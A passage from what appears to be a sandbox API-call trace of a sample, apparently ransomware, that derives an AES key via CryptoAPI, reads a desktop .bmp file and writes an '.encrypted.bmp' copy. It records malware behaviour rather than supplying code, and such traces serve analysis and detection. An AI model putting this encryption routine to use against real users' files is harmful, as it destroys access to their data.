lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.bmp", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0022.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.bmp", cchWideChar=48, lpMultiByteStr=0xe8f404ba10, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.bmp", lpUsedDefaultChar=0x0) returned 48 [0022.169] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\4ghbrlq-jktwuq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=48, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0022.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=48, lpWideCharStr=0xe8f4062720, cchWideChar=48 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.bmp") returned 48 [0022.170] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.170] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.171] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.171] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.171] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.171] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.171] CloseHandle (hObject=0x188) returned 1 [0022.171] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.171] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.172] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.172] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.172] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.172] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.172] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.172] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.172] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.172] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.172] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.173] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.173] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.173] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.173] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.173] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.173] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.174] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.174] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.174] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.174] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.174] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.174] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.177] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.177] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.177] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.177] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.177] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.177] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.177] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.177] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.178] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.178] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b990, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.178] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.178] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.178] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.178] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.178] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.178] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.178] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.178] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.178] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062720) returned 1 [0022.178] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.178] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.178] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.178] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.178] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.178] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.178] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.178] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.178] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0022.179] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.180] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\4ghbrlq-jktwuq.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.180] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.180] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.180] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.180] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0022.181] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\4ghbrlq-jktwuq.encrypted.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.182] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.182] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.182] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.182] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.185] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.185] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xd580, lpOverlapped=0x0) returned 1 [0022.186] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.188] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.188] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.188] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.188] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.189] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.189] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.189] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.189] PeekMessageW (in: 